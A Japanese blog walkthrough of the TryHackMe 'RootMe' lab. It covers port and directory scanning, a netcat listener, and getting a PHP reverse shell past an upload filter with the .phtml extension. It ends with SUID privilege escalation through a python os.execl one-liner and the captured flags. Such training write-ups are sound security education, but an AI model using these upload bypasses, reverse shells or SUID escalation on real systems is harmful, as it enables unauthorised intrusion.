0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】RootMe:Walkthrough

Posted at

概要

TryHackMe「RootMe」のWalkthroughです。

Task2

Q1.Scan the machine, how many ports are open?

Hint.Use nmap to do a port scan.

nmapでポートスキャンを実行します。

$ nmap -Pn -sC -A -T4 -sV 10.10.31.96                                          
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 22:16 EDT
Nmap scan report for 10.10.31.96
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HackIT - Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.17 seconds

ssh:22,http:80番のポートがオープンになっています。

A.2

Q2.What version of Apache is running?

ポートスキャンの結果からApacheのバージョンがわかりました。

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

A.2.4.29

Q3.What service is running on port 22?

ポートスキャンの結果から22番ポートではsshが動作していると分かりました。

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

A.ssh

Q4.Find directories on the web server using the GoBuster tool.

Hint.gobuster dir -u MACHINE_IP -w WORDLIST_PATH

gobusterでディレクトリを列挙します。

$ gobuster dir -u http://10.10.31.96 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.31.96
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 276]
/.hta                 (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/css                  (Status: 301) [Size: 308] [--> http://10.10.31.96/css/]
/index.php            (Status: 200) [Size: 616]
/js                   (Status: 301) [Size: 307] [--> http://10.10.31.96/js/]
/panel                (Status: 301) [Size: 310] [--> http://10.10.31.96/panel/]
/server-status        (Status: 403) [Size: 276]
/uploads              (Status: 301) [Size: 312] [--> http://10.10.31.96/uploads/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Q5.What is the hidden directory?

gobusterの結果から/panel/というパスが見つかりました。

A./panel/

Task3

Q1.user.txt

Hint.Search for "file upload bypass" and "PHP reverse shell".

先にnetcatでリッスンしておきます。

$ nc -lvnp 1234

試しに適当なファイルをアップロードしてみます。

upload success.png

ポルトガル語でファイルのアップロードに成功したとメッセージが表示されました。

また、Veja!のリンクをクリックすると、/uploads/パスでアップロードしたファイルにアクセスできることが分かりました。

access upload file.png

ここにリバースシェルコードをアップロードしてアクセスすればシェルを獲得できそうです。
試しにPHPのリバースシェルコードをアップロードしましたが、PHPは使用できないとメッセージが返ってきました。

php not success.png

HackTricksを参考に色んな拡張子を試してみます。

試しに%20を拡張子の後ろに付けるとアップロードに成功しました。

php rev shell upload.png

しかしファイルにアクセスしようとすると404が返ってくるので失敗です。

404.png

phtmlにすることでアップロード、アクセス共に成功しシェルを獲得できました。

Burpで拡張子をブルートフォース攻撃してみても良かったかも。

$ nc -lvnp 1234                      
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.31.96] 36948
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 03:04:39 up  1:16,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$

/var/www/user.txtに一つ目のフラグがあります。

$ ls -l /var/www 
ls -l /var/www
total 8
drwxr-xr-x 6 www-data www-data 4096 Aug  4  2020 html
-rw-r--r-- 1 www-data www-data   21 Aug  4  2020 user.txt
$ cat /var/www/user.txt
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}

A.THM{y0u_g0t_a_sh3ll}

Task4

Q1.Search for files with SUID permission, which file is weird?

Hint.find / -user root -perm /4000

SUIDビットがセットされたプログラムを検索します。

$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"

SUIDビットの検索についての記事を投稿したので併せてご覧ください。
SUIDビットが設定されたファイルの検索方法

pythonがあるのでこれを使えそうですね。

/usr/bin/python

A./usr/bin/python

Q2.Find a form to escalate your privileges.

Hint.Search for gtfobins

GTFOBinsで権限昇格のテクニックを検索できます。

Q3.root.txt

エクスプロイトコマンドを実行し、root権限を取得出来ました。

$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
whoami
root

/root/root.txtを閲覧してルートフラグゲットです!

# ls -l /root
ls -l /root
total 4
-rw-r--r-- 1 root root 26 Aug  4  2020 root.txt
# cat /root/root.txt
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}

A.THM{pr1v1l3g3_3sc4l4t10n}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?